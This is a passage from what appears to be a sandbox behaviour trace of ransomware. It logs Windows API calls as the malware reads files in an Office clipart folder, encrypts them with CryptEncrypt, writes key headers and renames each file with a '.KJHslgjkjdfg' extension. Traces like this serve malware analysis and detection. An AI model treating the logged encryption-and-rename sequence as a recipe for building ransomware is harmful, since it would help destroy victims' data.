lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0217.091] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0217.091] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0217.091] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0217.091] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0217.091] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.091] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.091] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.091] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xd3c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xd3c, lpOverlapped=0x0) returned 1 [0217.091] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd40, dwBufLen=0xd40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd40) returned 1 [0217.091] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.091] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xd40, lpOverlapped=0x0) returned 1 [0217.091] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.091] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.091] SetEndOfFile (hFile=0x130) returned 1 [0217.094] GetProcessHeap () returned 0x2ef0000 [0217.094] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0217.094] GetProcessHeap () returned 0x2ef0000 [0217.094] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0217.094] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02453_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02453_.wmf.kjhslgjkjdfg")) returned 1 [0217.095] CloseHandle (hObject=0x130) returned 1 [0217.095] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1750, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NBOOK_01.MID", cAlternateFileName="")) returned 1 [0217.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0217.097] GetProcessHeap () returned 0x2ef0000 [0217.097] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0217.097] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0217.097] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0217.097] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.097] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.097] GetProcessHeap () returned 0x2ef0000 [0217.097] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0217.097] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0217.097] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.097] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0217.107] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0217.107] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0217.107] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0217.107] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0217.107] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0217.107] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.107] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.107] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.107] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1750, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1750, lpOverlapped=0x0) returned 1 [0217.108] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1750, dwBufLen=0x1750 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1750) returned 1 [0217.108] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.108] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1750, lpOverlapped=0x0) returned 1 [0217.109] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.109] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.109] SetEndOfFile (hFile=0x130) returned 1 [0217.111] GetProcessHeap () returned 0x2ef0000 [0217.111] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0217.111] GetProcessHeap () returned 0x2ef0000 [0217.111] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0217.111] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid.kjhslgjkjdfg")) returned 1 [0217.113] CloseHandle (hObject=0x130) returned 1 [0217.113] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1540, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OCEAN_01.MID", cAlternateFileName="")) returned 1 [0217.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0217.115] GetProcessHeap () returned 0x2ef0000 [0217.115] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0217.115] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0217.115] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0217.115] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.115] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.115] GetProcessHeap () returned 0x2ef0000 [0217.115] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0217.115] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0217.115] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.115] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0217.117] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0217.117] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0217.118] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0217.118] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0217.118] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0217.118] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.118] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.118] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.118] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1540, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1540, lpOverlapped=0x0) returned 1 [0217.119] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1540, dwBufLen=0x1540 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1540) returned 1 [0217.119] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.119] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1540, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1540, lpOverlapped=0x0) returned 1 [0217.119] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.119] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.119] SetEndOfFile (hFile=0x130) returned 1 [0217.122] GetProcessHeap () returned 0x2ef0000 [0217.122] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0217.122] GetProcessHeap () returned 0x2ef0000 [0217.122] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0217.122] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid.kjhslgjkjdfg")) returned 1 [0217.123] CloseHandle (hObject=0x130) returned 1 [0217.123] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x19f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OUTDR_01.MID", cAlternateFileName="")) returned 1 [0217.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0217.125] GetProcessHeap () returned 0x2ef0000 [0217.125] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0217.126] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0217.126] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0217.126] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0217.138] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.138] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.138] GetProcessHeap () returned 0x2ef0000 [0217.138] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0217.138] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0217.138] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.138] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0217.138] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0217.138] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0217.138] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0217.138] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0217.138] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0217.139] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.139] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.139] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.139] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x19f4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x19f4, lpOverlapped=0x0) returned 1 [0217.140] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1a00, dwBufLen=0x1a00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1a00) returned 1 [0217.140] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.140] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1a00, lpOverlapped=0x0) returned 1 [0217.140] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.140] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.140] SetEndOfFile (hFile=0x130) returned 1 [0217.142] GetProcessHeap () returned 0x2ef0000 [0217.142] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0217.142] GetProcessHeap () returned 0x2ef0000 [0217.142] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0217.142] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid.kjhslgjkjdfg")) returned 1 [0217.144] CloseHandle (hObject=0x130) returned 1 [0217.144] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1a6b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PAPER_01.MID", cAlternateFileName="")) returned 1 [0217.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0217.146] GetProcessHeap () returned 0x2ef0000 [0217.146] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0217.146] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0217.146] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0217.146] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x5, lpOverlapped=0x0) returned 1 [0217.154] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.154] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.154] GetProcessHeap () returned 0x2ef0000 [0217.154] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0217.154] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0217.154] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.154] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0217.154] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0217.154] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0217.154] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0217.154] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0217.154] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0217.154] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.154] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.154] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.155] ReadFile (in: hFile=0x130, 